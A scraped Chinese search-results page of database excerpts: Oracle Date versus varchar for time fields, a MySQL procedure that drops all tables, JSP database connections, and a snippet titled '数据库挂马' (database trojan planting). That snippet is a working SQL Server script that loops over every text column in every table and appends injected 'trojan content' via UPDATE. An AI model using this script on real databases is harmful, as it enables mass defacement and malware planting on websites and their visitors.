精华内容
下载资源
问答
  • 【工作问题】数据库中保存时间到底用varchar还是Date? 近日工作中和DBA(姑且算是)发生了争论。起因是我建数据库的时候时间字段全部设为了Date类型,但DBA坚持要使用varchar(string)类型来保存时间。 那么到底谁...

    【工作问题】Orcale数据库中保存时间到底用varchar还是Date?

    近日工作中和DBA(姑且算是)发生了争论。起因是我建数据库的时候时间字段全部设为了Date类型,但DBA坚持要使用varchar(string)类型来保存时间。
    那么到底谁对呢?来看下对比

    Date类型存时间的好处如下:

    • 存储空间:Date类型只占用7个字节
    • 索引效率
    • 函数运算:比较,排序
    • 插入或更新数据时,Date可设为默认插入或更新为当前时间
    • 多语言,跨区域的时候,格式和时区根据登录用户不同需要转化为不同的显示格式

    varchar类型存时间的好处如下:

    • 格式固定
    • 不同的数据库间移置

    在涉及多个数据库或多种语言时,存为字符串类型优于date,问题是是否有这种迁移的预期和必要性。在其他情况下,我觉得都是Date类型优先的。

    但实际工作中,还是听领导的吧。。。。

    展开全文
  • 创建存储过程脚本 DELIMITER $$ CREATE PROCEDURE `drop_all_tables`() BEGIN DECLARE count INT; DECLARE tb VARCHAR(200);... DECLARE dbname VARCHAR(200) DEFAULT DATABASE(); DECLARE tbnames cursor FO...

    创建存储过程脚本

    DELIMITER $$
    CREATE PROCEDURE `drop_all_tables`()
    BEGIN
        DECLARE count INT;
        DECLARE tb VARCHAR(200);
        DECLARE dbname VARCHAR(200) DEFAULT DATABASE();
        DECLARE tbnames cursor FOR SELECT CONCAT('DROP TABLE `',dbname,'`.`',table_name,'`') FROM information_schema.tables WHERE table_schema = dbname;
        SELECT count(*) INTO count FROM information_schema.tables WHERE table_schema = dbname;
        OPEN tbnames;
        loop_i:LOOP
            IF count = 0 THEN 
                LEAVE loop_i;
            END IF;
            FETCH tbnames INTO tb;
            SET @tb = tb;
            PREPARE stmt FROM @tb;  
            EXECUTE stmt;  
            DEALLOCATE PREPARE stmt;
            SET count = count - 1;
    	END LOOP;
        CLOSE tbnames;
    END$$
    DELIMITER ;

    使用时调用存储过程

    call drop_all_tables();

     

    mysql命令行下效果:

    mysql> use test;# 要创建在指定的数据库中才能被调用到
    Database changed
    mysql> DELIMITER $$  
    mysql> CREATE PROCEDURE `drop_all_tables`()  
        -> BEGIN  
        ->     DECLARE count INT;  
        ->     DECLARE tb VARCHAR(200);  
        ->     DECLARE dbname VARCHAR(200) DEFAULT DATABASE();  
        ->     DECLARE tbnames cursor FOR SELECT CONCAT('DROP TABLE `',dbname,'`.`',table_name,'`') FROM information_schema.tables WHERE table_schema = dbname;  
        ->     SELECT count(*) INTO count FROM information_schema.tables WHERE table_schema = dbname;  
        ->     OPEN tbnames;  
        ->     loop_i:LOOP  
        ->         IF count = 0 THEN   
        ->             LEAVE loop_i;  
        ->         END IF;  
        ->         FETCH tbnames INTO tb;  
        ->         SET @tb = tb;  
        ->         PREPARE stmt FROM @tb;    
        ->         EXECUTE stmt;    
        ->         DEALLOCATE PREPARE stmt;  
        ->         SET count = count - 1;  
        ->     END LOOP;  
        ->     CLOSE tbnames;  
        -> END$$  
    Query OK, 0 rows affected (0.00 sec)
    
    mysql> DELIMITER ;
    mysql> call drop_all_tables();
    Query OK, 1 row affected (0.00 sec)

     

    函数计算日期间工作时长

    https://blog.csdn.net/Vincent_Field/article/details/88410161

    展开全文
  • jsp连接数据库大全

    2021-01-08 22:15:27
    在练习这些代码的时候,你一定将jdbc的驱动程序放到服务器的类路径里,然后要在数据库里建一个表test,有两个字段比如为test1,test2,可以下面SQL建 create table test(test1 varchar(20),test2 varchar(20) 然后...
  • 数据库挂马

    2008-07-28 11:03:00
    SQL语句如下:数据库挂马游标遍历所有表里如下数据类型的字段,然后Update挂马。(全部是允许写入字符的字段)xtype=99 ntextxtype=35 textxtype=231 nvarcharxtype=167 varchar———————YD的分割————...
     SQL语句如下:
    数据库挂马
    用游标遍历所有表里如下数据类型的字段,然后Update挂马。(全部是允许写入字符的字段)


    xtype=99 ntext

    xtype=35 text

    xtype=231 nvarchar

    xtype=167 varchar

    ———————YD的分割——————————–

    DECLARE @T varchar(255),
    @C varchar(255)
    DECLARE Table_Cursor CURSOR FOR
    Select
    a.name,b.name
    from sysobjects a,
    syscolumns b
    where a.id=b.id and
    a.xtype=’u’ and
    (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
    OPEN Table_Cursor
    FETCH NEXT FROM Table_Cursor INTO @T,@C
    WHILE(@@FETCH_STATUS=0)
    BEGIN
    exec(’update [’+@T+’] set [’+@C+’]=
    rtrim(convert(varchar,[’+@C+’]))+
    ”挂马内容”’)
    FETCH NEXT FROM Table_Cursor INTO @T,@C
    END
    CLOSE Table_Cursor
    DEALLOCATE Table_Cursor

    ———————YD的分割——————————–

    展开全文
  • mysql数据库操作

    2018-08-16 12:38:50
    没有条件是全部删除,慎 3、改数据 update 表名 set 列1 =值1,列2 = 值2 where 条件; 不写条件就都修改了 4、查询数据: a:查询表中全部数据 select * from 表名; 四、查数据 1、基本语法 格式:select ...
  • oracle数据库知识

    2015-06-17 14:34:15
    测试了下全部用小写也会自动转换 原来这是oralce数据库的特性 如果需要小写要加 "" 例如create table "tablename" (id int,name varchar(50)); create table "tablename1"(id int ,"name" varchar(3)); 插入 ...

    在plsql developer上建表时表名和列名都变成了大写

    测试了下全部用小写也会自动转换

    原来这是oralce数据库的特性

    如果需要小写要加 ""

    例如create table "tablename" (id int,name varchar(50));

    create table "tablename1"(id int ,"name" varchar(3));

    插入
    insert into "tablename1" values(1,'sd')

    查询
    select * from "tablename1"

    展开全文
  • 在练习这些代码的时候,你一定将jdbc的驱动程序放到服务器的类路径里,然后要在数据库里建一个表test,有两个字段比如为test1,test2,可以下面SQL建 create table test(test1 varchar(20),test2 varchar(20)...
  • 数据库从0到0

    2020-07-28 17:22:45
    刚刚入门的时候其实很疑惑为什么数据库要分数据类型,因为第一个项目接触的表全部varchar类型的。这里列出一下分数据类型的好处 1.效率:当数据库知道它要处理的数据类型之后,能够降低存储空间总量,并且提供访问...
  • 基础数据库MYSQL语句

    2020-03-25 22:26:40
    基础数据库MYSQL语句 创建表语句 CREATE TABLE student[表名] ( sno INT,[类型],分开同时最后一个不用加上, sname VARCHAR(10), age INT, sex VARCHAR(5) ); 查询语句 1.查询整个表的内容(一般可以用来查看表的...
  • JSP连接数据库大全

    2008-12-20 12:55:49
    所以这篇文章供大家参考,其实这种把数据库逻辑全部放在jsp里未必是好的做法,但是有利于初学者学习,所以我就这样做了,当大家学到一定程度的时候,可以考虑MVC的模式开发。在练习这些代码的时候,你一定将jdbc的...
  • java安全性和数据库设计注意事项

    千次阅读 2016-07-09 20:18:07
    先说说数据库设计的注意事项,最近一个项目中,数据库表...因为varchar类型确实很强大,什么东西都可以存,如果不考虑性能的话,这一个类型基本就可以满足日常的需求了,但是如果考虑到性能,那肯定不能全部用varchar
  • 由于某些原因需要将oracle数据库变成mysql数据库。...1.mysql里面没有varchar2类型,全部改成varchar。 2.mysql里面没有to_date函数因此需要改为str_to_date。 例如: insert into TB_RKTH_MAIN (RKTHID, PZS, JE
  • 所以我集中的在这写篇文章供大家参考,其实这种把数据库逻辑全部放在jsp里未必是好的做法,但是有利于初学者学习,所以我就这样做了,当大家学到一定程度的时候,可以考虑MVC的模式开发。在练习这些代码的时候,你...
  • 如果是我的想法 有问题 希望大佬能告诉下这个该什么方法解决 顺便写一下方法代码 全部代码 MainActivity.java public class MainActivity extends AppCompatActivity { ...
  • 所以我集中的在这写篇文章供大家参考,其实这种把数据库逻辑全部放在jsp里未必是好的做法,但是有利于初学者学习,所以我就这样做了,当大家学到一定程度的时候,可以考虑MVC的模式开发。在练习这些代码的时候,你...
  • ssh设计一个课程评分页面,才开始做学生登陆运行,运行就不成功,数据库用的是oracle11g,没办法接着做下面的内容了 # 测试能到login。jsp,但点提交就不行了 ![图片说明]...
  • 1、 显示所有数据库 show databases; 2、 删除数据库 drop database dbName; 3、 创建数据库 create database [if not exists] dbName; 中括号部分可选的,判断该数据不存在就创建 4、 切换、使用指定数据库 use ...
  • JSP连接各类数据库

    2010-06-23 17:44:00
    所以我集中的在这写篇文章供大家参考,其实这种把数据库逻辑全部放在jsp里未必是好的做法,但是有利于初学者学习,所以我就这样做了,当大家学到一定程度的时候,可以考虑MVC的模式开发。在练习这些代码的时候,你...
  • MYSQL数据库设计之字段选择原则

    千次阅读 2018-09-03 07:56:37
    今天给大家介绍一下数据库设计过程中字段的选择原则,也就是什么时候用int、什么时候用varchar、什么时候用char等等之类的。 关于字段的选择其实很多地方都有进行详细的介绍,我这里只写一下我在使用过程中的心得...
  • 这是终止进程的存储过程use mastergo-----------------------------------------关闭指定数据库全部访问进程---------------------------------------------create proc killspid@dbname varchar(200) --要关闭...
  • Mysql数据库类型主要是: char(固定空间字符串,多大就是多少个中文字符)、varchar(可变空间字符串,多大就是初始化多少个中文字符)、int(整数多大就是多少位)、float(浮点数)、timestamp(日期,可选建立...
  • Q:VARCHAR (50) 中的 50 是 50 个字符还是 50 个字节? A:VARCHAR 的括号中的数字代表的是字符。...CHAR数据类型会使用全部给定字符的长度,不足的部分空格填充。所以,如果字符串尾部本身存在空格,会被
  • 项目需求: 1. 访问带有验证码的登录页面login.jsp ... ... * 如果验证码输入有误,跳转登录页面,提示:验证码错误...数据库最好不要关键字哟! create table `users` ( //创建表 `id` int (11), `name` varchar (60),
  • 将oracle迁移到postgre数据库

    千次阅读 2019-05-21 20:22:45
    这个工具可以将一些oracle与pgsql的语法差异自动处理下,但不是全部,剩下的需要手工修改。 ORACLE语法 → PostgreSQL语法 1、VARCHAR2 → varchar 2、DATE → timestamp 3、SYSDATE → localtimestamp 4、Oracle...

空空如也

空空如也

1 2 3 4 5 6
收藏数 114
精华内容 45
关键字:

数据库全部用varchar